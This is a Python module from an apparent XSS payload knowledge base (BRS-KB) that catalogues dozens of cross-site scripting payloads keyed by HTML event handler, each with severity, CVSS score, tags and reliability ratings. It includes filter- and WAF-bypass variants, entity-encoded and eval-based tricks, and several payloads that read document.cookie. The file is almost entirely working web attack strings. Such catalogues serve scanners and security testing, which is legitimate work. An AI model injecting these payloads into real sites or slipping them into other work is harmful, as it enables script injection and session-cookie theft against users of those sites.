#!/usr/bin/env python3
"""
Project: BRS-KB (BRS XSS Knowledge Base)
Company: EasyProTech LLC (www.easypro.tech)
Dev: Brabus
Date: 2025-12-26 UTC
Status: Refactored
Telegram: https://t.me/EasyProTech

Event Handler XSS Payloads
"""

from ..models import PayloadEntry


EVENT_HANDLER_PAYLOADS = {
    # Mouse events
    "event_onclick": PayloadEntry(
        payload="<div onclick=alert(1)>click</div>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.0,
        description="onclick event handler",
        tags=["event-handler", "mouse", "onclick"],
        reliability="high",
    ),
    "event_ondblclick": PayloadEntry(
        payload="<div ondblclick=alert(1)>dblclick</div>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.0,
        description="ondblclick event handler",
        tags=["event-handler", "mouse", "ondblclick"],
        reliability="high",
    ),
    "event_onmousedown": PayloadEntry(
        payload="<div onmousedown=alert(1)>mousedown</div>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.0,
        description="onmousedown event handler",
        tags=["event-handler", "mouse", "onmousedown"],
        reliability="high",
    ),
    "event_onmouseup": PayloadEntry(
        payload="<div onmouseup=alert(1)>mouseup</div>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.0,
        description="onmouseup event handler",
        tags=["event-handler", "mouse", "onmouseup"],
        reliability="high",
    ),
    "event_onmouseover": PayloadEntry(
        payload="<div onmouseover=alert(1)>hover</div>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.0,
        description="onmouseover event handler",
        tags=["event-handler", "mouse", "onmouseover"],
        reliability="high",
    ),
    "event_onmouseout": PayloadEntry(
        payload="<div onmouseout=alert(1)>hoverout</div>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.0,
        description="onmouseout event handler",
        tags=["event-handler", "mouse", "onmouseout"],
        reliability="high",
    ),
    "event_onmousemove": PayloadEntry(
        payload="<div onmousemove=alert(1)>move</div>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.0,
        description="onmousemove event handler",
        tags=["event-handler", "mouse", "onmousemove"],
        reliability="high",
    ),
    "event_onmouseenter": PayloadEntry(
        payload="<div onmouseenter=alert(1)>enter</div>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.0,
        description="onmouseenter event handler",
        tags=["event-handler", "mouse", "onmouseenter"],
        reliability="high",
    ),
    "event_onmouseleave": PayloadEntry(
        payload="<div onmouseleave=alert(1)>leave</div>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.0,
        description="onmouseleave event handler",
        tags=["event-handler", "mouse", "onmouseleave"],
        reliability="high",
    ),
    "event_oncontextmenu": PayloadEntry(
        payload="<div oncontextmenu=alert(1)>rightclick</div>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.0,
        description="oncontextmenu event handler",
        tags=["event-handler", "mouse", "oncontextmenu"],
        reliability="high",
    ),
    "event_onwheel": PayloadEntry(
        payload="<div onwheel=alert(1)>scroll</div>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.0,
        description="onwheel event handler",
        tags=["event-handler", "mouse", "onwheel"],
        reliability="high",
    ),
    # Keyboard events
    "event_onkeydown": PayloadEntry(
        payload="<input onkeydown=alert(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.0,
        description="onkeydown event handler",
        tags=["event-handler", "keyboard", "onkeydown"],
        reliability="high",
    ),
    "event_onkeyup": PayloadEntry(
        payload="<input onkeyup=alert(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.0,
        description="onkeyup event handler",
        tags=["event-handler", "keyboard", "onkeyup"],
        reliability="high",
    ),
    "event_onkeypress": PayloadEntry(
        payload="<input onkeypress=alert(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.0,
        description="onkeypress event handler (deprecated)",
        tags=["event-handler", "keyboard", "onkeypress", "deprecated"],
        reliability="medium",
    ),
    # Focus events
    "event_onfocus": PayloadEntry(
        payload="<input onfocus=alert(1) autofocus>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="onfocus with autofocus",
        tags=["event-handler", "focus", "onfocus", "autofocus"],
        reliability="high",
    ),
    "event_onblur": PayloadEntry(
        payload="<input onblur=alert(1) autofocus><input autofocus>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.0,
        description="onblur triggered by second autofocus",
        tags=["event-handler", "focus", "onblur"],
        reliability="high",
    ),
    "event_onfocusin": PayloadEntry(
        payload="<div onfocusin=alert(1)><input autofocus></div>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.0,
        description="onfocusin event handler",
        tags=["event-handler", "focus", "onfocusin"],
        reliability="high",
    ),
    "event_onfocusout": PayloadEntry(
        payload="<div onfocusout=alert(1)><input autofocus></div><input autofocus>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.0,
        description="onfocusout event handler",
        tags=["event-handler", "focus", "onfocusout"],
        reliability="high",
    ),
    # Form events
    "event_onsubmit": PayloadEntry(
        payload="<form onsubmit=alert(1)><button>submit</button></form>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.0,
        description="onsubmit event handler",
        tags=["event-handler", "form", "onsubmit"],
        reliability="high",
    ),
    "event_onreset": PayloadEntry(
        payload='<form onreset=alert(1)><button type="reset">reset</button></form>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.0,
        description="onreset event handler",
        tags=["event-handler", "form", "onreset"],
        reliability="high",
    ),
    "event_oninput": PayloadEntry(
        payload="<input oninput=alert(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.0,
        description="oninput event handler",
        tags=["event-handler", "form", "oninput"],
        reliability="high",
    ),
    "event_onchange": PayloadEntry(
        payload="<select onchange=alert(1)><option>1</option><option>2</option></select>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.0,
        description="onchange event handler",
        tags=["event-handler", "form", "onchange"],
        reliability="high",
    ),
    "event_oninvalid": PayloadEntry(
        payload="<form><input oninvalid=alert(1) required><button>submit</button></form>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.0,
        description="oninvalid event handler",
        tags=["event-handler", "form", "oninvalid"],
        reliability="high",
    ),
    # Media events
    "event_onplay": PayloadEntry(
        payload="<video onplay=alert(1) autoplay><source src=x.mp4></video>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.0,
        description="onplay event handler",
        tags=["event-handler", "media", "onplay"],
        reliability="medium",
    ),
    "event_onpause": PayloadEntry(
        payload="<video onpause=alert(1)><source src=x.mp4></video>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.0,
        description="onpause event handler",
        tags=["event-handler", "media", "onpause"],
        reliability="medium",
    ),
    "event_onended": PayloadEntry(
        payload="<video onended=alert(1)><source src=x.mp4></video>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.0,
        description="onended event handler",
        tags=["event-handler", "media", "onended"],
        reliability="medium",
    ),
    "event_onloadeddata": PayloadEntry(
        payload="<video onloadeddata=alert(1)><source src=x.mp4></video>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.0,
        description="onloadeddata event handler",
        tags=["event-handler", "media", "onloadeddata"],
        reliability="medium",
    ),
    # Drag events
    "event_ondrag": PayloadEntry(
        payload='<div draggable="true" ondrag=alert(1)>drag me</div>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.0,
        description="ondrag event handler",
        tags=["event-handler", "drag", "ondrag"],
        reliability="high",
    ),
    "event_ondragstart": PayloadEntry(
        payload='<div draggable="true" ondragstart=alert(1)>drag me</div>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.0,
        description="ondragstart event handler",
        tags=["event-handler", "drag", "ondragstart"],
        reliability="high",
    ),
    "event_ondrop": PayloadEntry(
        payload='<div ondrop=alert(1) ondragover="return false">drop here</div>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.0,
        description="ondrop event handler",
        tags=["event-handler", "drag", "ondrop"],
        reliability="high",
    ),
    # Clipboard events
    "event_oncopy": PayloadEntry(
        payload="<div oncopy=alert(1)>copy me</div>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.0,
        description="oncopy event handler",
        tags=["event-handler", "clipboard", "oncopy"],
        reliability="high",
    ),
    "event_oncut": PayloadEntry(
        payload="<input oncut=alert(1) value='cut me'>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.0,
        description="oncut event handler",
        tags=["event-handler", "clipboard", "oncut"],
        reliability="high",
    ),
    "event_onpaste": PayloadEntry(
        payload="<input onpaste=alert(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.0,
        description="onpaste event handler",
        tags=["event-handler", "clipboard", "onpaste"],
        reliability="high",
    ),
    # Touch events
    "event_ontouchstart": PayloadEntry(
        payload="<div ontouchstart=alert(1)>touch me</div>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.0,
        description="ontouchstart event handler (mobile)",
        tags=["event-handler", "touch", "ontouchstart", "mobile"],
        reliability="high",
    ),
    "event_ontouchend": PayloadEntry(
        payload="<div ontouchend=alert(1)>touch me</div>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.0,
        description="ontouchend event handler (mobile)",
        tags=["event-handler", "touch", "ontouchend", "mobile"],
        reliability="high",
    ),
    "event_ontouchmove": PayloadEntry(
        payload="<div ontouchmove=alert(1)>touch me</div>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.0,
        description="ontouchmove event handler (mobile)",
        tags=["event-handler", "touch", "ontouchmove", "mobile"],
        reliability="high",
    ),
    # Pointer events
    "event_onpointerdown": PayloadEntry(
        payload="<div onpointerdown=alert(1)>pointer</div>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.0,
        description="onpointerdown event handler",
        tags=["event-handler", "pointer", "onpointerdown"],
        reliability="high",
    ),
    "event_onpointerup": PayloadEntry(
        payload="<div onpointerup=alert(1)>pointer</div>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.0,
        description="onpointerup event handler",
        tags=["event-handler", "pointer", "onpointerup"],
        reliability="high",
    ),
    "event_onpointermove": PayloadEntry(
        payload="<div onpointermove=alert(1)>pointer</div>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.0,
        description="onpointermove event handler",
        tags=["event-handler", "pointer", "onpointermove"],
        reliability="high",
    ),
    "event_onpointerenter": PayloadEntry(
        payload="<div onpointerenter=alert(1)>pointer</div>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.0,
        description="onpointerenter event handler",
        tags=["event-handler", "pointer", "onpointerenter"],
        reliability="high",
    ),
    "event_onpointerleave": PayloadEntry(
        payload="<div onpointerleave=alert(1)>pointer</div>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.0,
        description="onpointerleave event handler",
        tags=["event-handler", "pointer", "onpointerleave"],
        reliability="high",
    ),
    # Animation events
    "event_onanimationstart": PayloadEntry(
        payload='<style>@keyframes x{}</style><div style="animation:x" onanimationstart=alert(1)>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="onanimationstart event handler",
        tags=["event-handler", "animation", "onanimationstart"],
        reliability="high",
    ),
    "event_onanimationend": PayloadEntry(
        payload='<style>@keyframes x{}</style><div style="animation:x 0.01s" onanimationend=alert(1)>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="onanimationend event handler",
        tags=["event-handler", "animation", "onanimationend"],
        reliability="high",
    ),
    "event_ontransitionend": PayloadEntry(
        payload="<style>div{transition:all 0.01s}div:hover{opacity:0}</style><div ontransitionend=alert(1)>hover</div>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.0,
        description="ontransitionend event handler",
        tags=["event-handler", "transition", "ontransitionend"],
        reliability="high",
    ),
    # Special HTML5 events
    "event_ontoggle": PayloadEntry(
        payload="<details ontoggle=alert(1) open>test</details>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="ontoggle event on details element",
        tags=["event-handler", "html5", "ontoggle", "details"],
        reliability="high",
    ),
    "event_onshow": PayloadEntry(
        payload='<div contextmenu="x" onshow=alert(1)><menu id="x" type="context"></menu></div>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.0,
        description="onshow event handler (deprecated)",
        tags=["event-handler", "html5", "onshow", "context-menu", "deprecated"],
        browser_support=["firefox"],
        reliability="low",
    ),
    "event_onpageshow": PayloadEntry(
        payload="<body onpageshow=alert(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="onpageshow event on body",
        tags=["event-handler", "page", "onpageshow"],
        reliability="high",
    ),
    "event_onhashchange": PayloadEntry(
        payload="<body onhashchange=alert(1)><a href=#x>click</a>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.0,
        description="onhashchange event on body",
        tags=["event-handler", "page", "onhashchange"],
        reliability="high",
    ),
    "event_onpopstate": PayloadEntry(
        payload="<body onpopstate=alert(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.0,
        description="onpopstate event on body",
        tags=["event-handler", "history", "onpopstate"],
        reliability="high",
    ),
    "event_onmessage": PayloadEntry(
        payload="<body onmessage=alert(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="onmessage event on body (postMessage)",
        tags=["event-handler", "message", "onmessage", "postMessage"],
        reliability="medium",
    ),
    "event_onstorage": PayloadEntry(
        payload="<body onstorage=alert(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.0,
        description="onstorage event on body",
        tags=["event-handler", "storage", "onstorage"],
        reliability="medium",
    ),
}

EVENT_HANDLER_PAYLOADS_TOTAL = len(EVENT_HANDLER_PAYLOADS)


EVENT_CONSTRUCTOR_PAYLOADS = {
    "event_dispatch": PayloadEntry(
        payload="<script>document.body.onhashchange=alert;dispatchEvent(new HashChangeEvent('hashchange'))</script>",
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.5,
        description="dispatchEvent hashchange",
        tags=["event", "dispatch", "hashchange"],
        waf_evasion=True,
        reliability="high",
    ),
    "event_custom": PayloadEntry(
        payload="<script>addEventListener('x',()=>alert(1));dispatchEvent(new Event('x'))</script>",
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.5,
        description="Custom event dispatch",
        tags=["event", "custom", "dispatch"],
        waf_evasion=True,
        reliability="high",
    ),
    # === OWASP Event Handler Payloads ===
    "owasp-malformed-a-tag": PayloadEntry(
        payload='<a onmouseover="alert(document.cookie)">xxs link</a>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Malformed A tag with onmouseover event",
        tags=["owasp", "malformed", "event", "mouseover"],
        reliability="high",
    ),
    "owasp-malformed-a-chrome": PayloadEntry(
        payload="<a onmouseover=alert(document.cookie)>xxs link</a>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Malformed A tag without quotes - works in Chrome",
        tags=["owasp", "malformed", "chrome", "no-quotes"],
        reliability="high",
        browser_support=["chrome"],
    ),
    "owasp-default-src-hash": PayloadEntry(
        payload="<IMG SRC=# onmouseover=\"alert('xxs')\">",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Default SRC with hash to bypass domain filters",
        tags=["owasp", "src", "bypass", "hash"],
        reliability="high",
    ),
    "owasp-default-src-empty": PayloadEntry(
        payload="<IMG SRC= onmouseover=\"alert('xxs')\">",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Empty SRC attribute bypass",
        tags=["owasp", "src", "empty", "bypass"],
        reliability="medium",
    ),
    "owasp-no-src": PayloadEntry(
        payload="<IMG onmouseover=\"alert('xxs')\">",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="No SRC attribute at all",
        tags=["owasp", "no-src", "event"],
        reliability="high",
    ),
    "owasp-onerror-alert": PayloadEntry(
        payload='<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="onerror with fromCharCode encoding",
        tags=["owasp", "onerror", "fromcharcode"],
        reliability="high",
    ),
    "owasp-body-onload": PayloadEntry(
        payload="<BODY ONLOAD=alert('XSS')>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="BODY tag with onload event",
        tags=["owasp", "body", "onload"],
        reliability="high",
    ),
    "owasp-non-alpha-digit-2": PayloadEntry(
        payload='<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=alert("XSS")>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Special characters before = sign",
        tags=["owasp", "special-chars", "bypass"],
        reliability="low",
        waf_evasion=True,
    ),
    "owasp-iframe-event": PayloadEntry(
        payload='<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="IFRAME event based XSS",
        tags=["owasp", "iframe", "event"],
        reliability="high",
    ),
    "owasp-svg-object": PayloadEntry(
        payload="<svg/onload=alert('XSS')>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="SVG object tag with onload",
        tags=["owasp", "svg", "onload"],
        reliability="high",
    ),
    "owasp-waf-window-onerror": PayloadEntry(
        payload='<Img src = x onerror = "javascript: window.onerror = alert; throw XSS">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="WAF bypass using window.onerror and throw",
        tags=["owasp", "waf_bypass", "window.onerror", "throw"],
        reliability="high",
        waf_evasion=True,
    ),
    "owasp-waf-video-source": PayloadEntry(
        payload='<Video> <source onerror = "javascript: alert (XSS)">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Video source onerror WAF bypass",
        tags=["owasp", "waf_bypass", "video", "source"],
        reliability="high",
        waf_evasion=True,
    ),
    "owasp-waf-eval-src": PayloadEntry(
        payload="<img src=x:alert(alt) onerror=eval(src) alt=0>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Eval src for indirect execution",
        tags=["owasp", "waf_bypass", "eval", "indirect"],
        reliability="high",
        waf_evasion=True,
    ),
    "owasp-img-title-onerror": PayloadEntry(
        payload='<img src="/" =_=" title="onerror=\'prompt(1)\'">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="IMG with malformed title containing onerror",
        tags=["owasp", "waf_bypass", "malformed", "title"],
        reliability="medium",
        waf_evasion=True,
    ),
    "owasp-input-mouseover": PayloadEntry(
        payload='<input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;"',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Input with entity encoded mouseover",
        tags=["owasp", "waf_bypass", "input", "entities"],
        reliability="medium",
        waf_evasion=True,
    ),
    "owasp-isindex-image": PayloadEntry(
        payload="<isindex type=image src=1 onerror=alert(XSS)>",
        contexts=["html_content"],
        severity="medium",
        cvss_score=6.0,
        description="isindex as image type with onerror",
        tags=["owasp", "isindex", "image", "legacy"],
        reliability="low",
        waf_evasion=True,
    ),
    # === PortSwigger Event Handlers ===
    "ps-marquee-onbounce": PayloadEntry(
        payload="<marquee width=1 loop=1 onbounce=alert(1)>XSS</marquee>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="marquee onbounce event - Firefox v125-",
        tags=["portswigger", "marquee", "onbounce", "firefox"],
        reliability="medium",
        browser_support=["firefox"],
    ),
    "ps-marquee-onfinish": PayloadEntry(
        payload="<marquee width=1 loop=1 onfinish=alert(1)>XSS</marquee>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="marquee onfinish event - Firefox v125-",
        tags=["portswigger", "marquee", "onfinish", "firefox"],
        reliability="medium",
        browser_support=["firefox"],
    ),
    "ps-marquee-onstart": PayloadEntry(
        payload="<marquee onstart=alert(1)>XSS</marquee>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="marquee onstart event",
        tags=["portswigger", "marquee", "onstart"],
        reliability="medium",
    ),
    "ps-menu-onshow": PayloadEntry(
        payload="<div contextmenu=xss><p>Right click<menu type=context id=xss onshow=alert(1)></menu></div>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="menu onshow event - Firefox v102-",
        tags=["portswigger", "menu", "onshow", "contextmenu"],
        reliability="low",
        browser_support=["firefox"],
    ),
    "ps-onbeforescriptexecute": PayloadEntry(
        payload="<x onbeforescriptexecute=alert(1)><script>1</script>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="onbeforescriptexecute - Firefox only",
        tags=["portswigger", "onbeforescriptexecute", "firefox"],
        reliability="high",
        browser_support=["firefox"],
    ),
    "ps-onafterscriptexecute": PayloadEntry(
        payload="<x onafterscriptexecute=alert(1)><script>1</script>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="onafterscriptexecute - Firefox only",
        tags=["portswigger", "onafterscriptexecute", "firefox"],
        reliability="high",
        browser_support=["firefox"],
    ),
    "ps-body-throw-location": PayloadEntry(
        payload="<body onload=\"throw onerror=eval,{lineNumber:1,columnNumber:1,fileName:1,message:'/*'+location}\">",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="body with onerror, throw and location - Firefox",
        tags=["portswigger", "body", "onerror", "throw", "firefox"],
        reliability="high",
        browser_support=["firefox"],
        waf_evasion=True,
    ),
}
